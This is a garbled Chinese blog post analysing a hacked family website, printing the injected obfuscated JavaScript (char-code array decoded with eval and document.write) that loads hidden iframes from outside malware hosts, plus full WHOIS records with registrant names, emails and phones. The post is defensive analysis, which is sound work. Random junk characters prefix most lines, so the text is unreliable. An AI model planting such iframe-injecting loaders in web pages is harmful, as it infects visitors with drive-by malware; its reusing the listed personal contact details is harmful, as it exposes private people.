首发在我的博客里面，
,Xao{o( m(?M]CH(A http://www.areway.cn/?p=175 A|ja WZM- /mv uSNk ^oj)#(3C 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
v50=D/&w afH`<! <script>t=’60,105,102,114,97,109,101,
%U'Y OE6 32,115,114,99,61,104,116,116,112,58,47,47,
N[czraFBD} 102,114,101,101,46,117,45,117,117,117,46,99,
c 8#A^q} 110,47,101,114,114,111,114,46,104,116,109,
W0X?"Ms|a 32,119,105,100,116,104,61,49,48,48,32,104,
53#7Yy 101,105,103,104,116,61,48,62,60,47,105,102,
;A1pqHr 114,97,109,101,62′;
0F)Y[{h< t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
\9!W^i[+ ;g*ab <script>t=’60,105,102,114,97,109,101,32,115,
p 1CY?K 114,99,61,104,116,116,112,58,47,47,102,114,
?DA,]aa- 101,101,46,117,45,117,117,117,46,99,110,47,
OLl NCb#t 101,114,114,111,114,46,104,116,109,32,119,
UT+B*?,h 105,100,116,104,61,49,48,48,32,104,101,105,
/9;)zI 103,104,116,61,48,62,60,47,105,102,114,97,
( @mvNlc: 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
kE =}. document.write(t);</script>
^b'|`R+~} G!@tW`HO <html xmlns=”
R9~%ORI#; http://www.w3.org/1999/xhtml ?HttqK) “>
JZ'`.yK: <head>
MJb!+E+ <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
yX?& K}JI <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
RD<l<+C^~ <title>首页 - 爱生活家庭网
Uu W" Ydh]EO0 ' 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
<Jv %}r 转换字符串后的大概内容是（谁点击后果自付）：
]_ @5LvI <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
W& w - yZ pX+ `qxF\ 查询玉米u-uuu.cn的详细信息：
r1 )Og Domain Name: u-uuu.cn
R6*:Us0\FJ ROID: 20070901s10001s64972306-cn
,vl][MhM Domain Status: ok
\XD&0inv Registrant Organization: 王雷
rX dI`l# Registrant Name: 王雷
z`]'~ Administrative Email:
czlovexs@126.com J iCDY)bu Sponsoring Registrar: 北京万网志成科技有限公司
Q
>] v?4 Name Server:ns.yovole.com
F`r=M%y h Name Server:ns1.yovole.com
4#!NVI3t Registration Date: 2007-09-01 17:54
5Z,^4 6J Expiration Date: 2008-09-01 17:54
dr'# 最后PING了一下地址 都没有什么….
](vOH#E 1 ^TOTY 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
.|;`qU o <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
weYP^>gH' <script language=”javascript” src=”
?>L sIPa http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script I#tn/\n >
;"Q{dOvp 这个玉米应该有可能是木马作者的：
I MpEp}7 foafau.info的详细信息：
QG$LbuZ` Access to INFO WHOIS information is provided to assist persons in
Tn8Z2iC determining the contents of a domain name registration record in the
dU yit- Afilias registry database. The data in this record is provided by
q ;1]M[& Afilias Limited for informational purposes only, and Afilias does not
y".uu+hL` guarantee its accuracy. This service is intended only for query-based
:Em[> XA access. You agree that you will use this data only for lawful purposes
[R TB|0Q and that, under no circumstances will you use this data to: (a) allow,
AtGk
_tpVZ enable, or otherwise support the transmission by e-mail, telephone, or
;<O Iu&,* facsimile of mass unsolicited, commercial advertising or solicitations
3~iIo&NZ to entities other than the data recipient’s own existing customers; or
|9$K'+' (b) enable high volume, automated, electronic processes that send
[/.o>R#J( queries or data to the systems of Registry Operator, a Registrar, or
9X/c%:)\= Afilias except as reasonably necessary to register domain names or
WgF
Xv@Jjt modify existing registrations. All rights reserved. Afilias reserves
T1.`*,t)= the right to modify these terms at any time. By submitting this query,
u|z B\z d you agree to abide by this policy.
Ox#%Dm2 Domain ID:D22418703-LRMS
^&>(_I\w.6 Domain Name:FOAFAU.INFO
UEbRg =6 Created On:20-Nov-2007 16:05:42 UTC
F
0 q#. Last Updated On:20-Nov-2007 16:05:44 UTC
+q[puFfl Expiration Date:20-Nov-2008 16:05:42 UTC
a=>PGriL Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
Ew~piuj Status:CLIENT DELETE PROHIBITED
,Y6Me+5B Status:CLIENT RENEW PROHIBITED
sg RY`U.C Status:CLIENT TRANSFER PROHIBITED
ZnVi.s ~1V Status:CLIENT UPDATE PROHIBITED
I4.^I/c( Status:TRANSFER PROHIBITED
5B )Z@-x2 Registrant ID:GODA-040110615
n$i}r\
so Registrant Name:liu hong
c&vY0/ [ Registrant Organization:
\#Ez ["mD
Registrant Street1:beijing
sS7r)HV&GI Registrant Street2:
]{;=<t6 Registrant Street3:
?{ns1nW: Registrant City:beijing
I'%vN^e^ Registrant State/Province:
EW7heIT$ Registrant Postal Code:100000
tQ=M=BPZ Registrant Country:CN
rf?Q# KM\W Registrant Phone:+86.860108888777
t&MJSFkiA Registrant Phone Ext.:
j r29+> Registrant FAX:
/"Ws3.p Registrant FAX Ext.:
#Y6'Q8g f Registrant Email:bbbshiji@163.com
#0V$KC*> Admin ID:GODA-240110615
cPZD# ";f Admin Name:liu hong
Rrm k\ 7/ Admin Organization:
:yO. Te
F Admin Street1:beijing
zcnp? % Admin Street2:
`],'fT|,S Admin Street3:
#&a-m,Y$sx Admin City:beijing
p}_n
:a Admin State/Province:
\ W K ly Admin Postal Code:100000
m08:EX P Admin Country:CN
+MU|XT_5|6 Admin Phone:+86.860108888777
hD TiXc Admin Phone Ext.:
:I*G tq
Admin FAX:
o\6A]T=R Admin FAX Ext.:
IMjz#|c Admin Email:bbbshiji@163.com
%5.aC|^} Billing ID:GODA-340110615
6 B>1"h%Wf Billing Name:liu hong
/cM< Billing Organization:
j}}:&>; Billing Street1:beijing
|eH >55 b Billing Street2:
g#b[-)Qx Billing Street3:
r:Uqtqxh Billing City:beijing
/ ;>U0~K Billing State/Province:
ti$d.Kc( Billing Postal Code:100000
p!5= 1$ Billing Country:CN
3{OY& Billing Phone:+86.860108888777
H 6 i4>U* Billing Phone Ext.:
it V@U Billing FAX:
{!h|(xqN+ Billing FAX Ext.:
$=?1>zvF Billing Email:bbbshiji@163.com
".aypD)W Tech ID:GODA-140110615
tg%s#lLeH Tech Name:liu hong
>; a_i>[ Tech Organization:
T 1'8<pJ^ Tech Street1:beijing
*9V;;bY# Tech Street2:
~gU. z6us Tech Street3:
Ws2SD6!4` Tech City:beijing
)Lt|]|1B{ Tech State/Province:
e`gO c* Tech Postal Code:100000
'@Oq WdaR Tech Country:CN
"o" ujQ(v Tech Phone:+86.860108888777
4wfT8CL Tech Phone Ext.:
/'vCO
|?L Tech FAX:
uFxhr2
<z Tech FAX Ext.:
: V16bRpjL Tech Email:bbbshiji@163.com
zzmZ`Ya Name Server:NS27.DOMAINCONTROL.COM
VK)1/b=yT Name Server:NS28.DOMAINCONTROL.COM
UykOQ-2-n Name Server:
l -|hvv5g Name Server:
oS3}xT "
U Name Server:
\Y;LbB8D
Name Server:
s>y=-7:N Name Server:
AL*P 2 \8 Name Server:
%J)n#\ Name Server:
kT|{5Kn&s Name Server:
x0aPY;,N0 Name Server:
=~;SUO Name Server:
R1.No_`PHq Name Server:
n27df 9L =R+z\`2 接着下载每个文件里面的代码：
dMkDNaH, 一步一步看..
MZ" yjQ A 
%N}O Mc.W 
yVds2J'w- 
XP#j9CF#. 
7kDX_ ,i 
Ph[P$: 9 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
